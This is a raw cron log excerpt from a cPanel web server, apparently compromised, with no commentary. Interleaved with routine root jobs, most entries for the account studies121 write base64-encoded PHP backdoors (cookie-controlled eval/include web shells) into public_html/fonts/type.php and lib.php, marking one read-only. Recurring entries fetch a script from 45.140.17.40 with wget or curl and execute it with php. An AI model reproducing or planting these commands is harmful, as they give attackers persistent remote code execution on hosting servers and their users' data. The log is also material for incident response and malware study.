Sep  5 06:21:01 ip-184-168-122-23 CROND[24070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:21:01 ip-184-168-122-23 CROND[24071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:21:01 ip-184-168-122-23 CROND[24072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:21:01 ip-184-168-122-23 CROND[24074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:22:01 ip-184-168-122-23 CROND[24187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:22:01 ip-184-168-122-23 CROND[24190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:22:01 ip-184-168-122-23 CROND[24189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:22:01 ip-184-168-122-23 CROND[24191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:22:01 ip-184-168-122-23 CROND[24192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:23:01 ip-184-168-122-23 CROND[24309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:23:01 ip-184-168-122-23 CROND[24313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:23:01 ip-184-168-122-23 CROND[24312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:23:01 ip-184-168-122-23 CROND[24311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:24:01 ip-184-168-122-23 CROND[24514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:24:01 ip-184-168-122-23 CROND[24517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:24:01 ip-184-168-122-23 CROND[24516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:24:01 ip-184-168-122-23 CROND[24518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:24:01 ip-184-168-122-23 CROND[24519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:25:01 ip-184-168-122-23 CROND[24650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:25:01 ip-184-168-122-23 CROND[24652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:25:01 ip-184-168-122-23 CROND[24653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:25:01 ip-184-168-122-23 CROND[24655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:25:01 ip-184-168-122-23 CROND[24657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:25:01 ip-184-168-122-23 CROND[24659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:25:01 ip-184-168-122-23 CROND[24658]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 06:26:01 ip-184-168-122-23 CROND[24785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:26:01 ip-184-168-122-23 CROND[24786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:26:01 ip-184-168-122-23 CROND[24789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:26:01 ip-184-168-122-23 CROND[24790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:26:01 ip-184-168-122-23 CROND[24787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:27:01 ip-184-168-122-23 CROND[24881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:27:01 ip-184-168-122-23 CROND[24882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:27:01 ip-184-168-122-23 CROND[24883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:27:01 ip-184-168-122-23 CROND[24884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:28:01 ip-184-168-122-23 CROND[24982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:28:01 ip-184-168-122-23 CROND[24987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:28:01 ip-184-168-122-23 CROND[24988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:28:01 ip-184-168-122-23 CROND[24990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:28:01 ip-184-168-122-23 CROND[24989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:29:01 ip-184-168-122-23 CROND[25104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:29:01 ip-184-168-122-23 CROND[25106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:29:01 ip-184-168-122-23 CROND[25109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:29:01 ip-184-168-122-23 CROND[25107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:30:01 ip-184-168-122-23 CROND[25227]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:30:01 ip-184-168-122-23 CROND[25230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:30:01 ip-184-168-122-23 CROND[25231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:30:01 ip-184-168-122-23 CROND[25238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:30:01 ip-184-168-122-23 CROND[25237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:30:01 ip-184-168-122-23 CROND[25235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:30:01 ip-184-168-122-23 CROND[25234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:30:01 ip-184-168-122-23 CROND[25239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:31:01 ip-184-168-122-23 CROND[25437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:31:01 ip-184-168-122-23 CROND[25441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:31:01 ip-184-168-122-23 CROND[25438]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 06:31:01 ip-184-168-122-23 CROND[25440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:31:01 ip-184-168-122-23 CROND[25439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:32:01 ip-184-168-122-23 CROND[25547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:32:01 ip-184-168-122-23 CROND[25550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:32:01 ip-184-168-122-23 CROND[25551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:32:01 ip-184-168-122-23 CROND[25552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:32:01 ip-184-168-122-23 CROND[25549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:33:01 ip-184-168-122-23 CROND[25654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
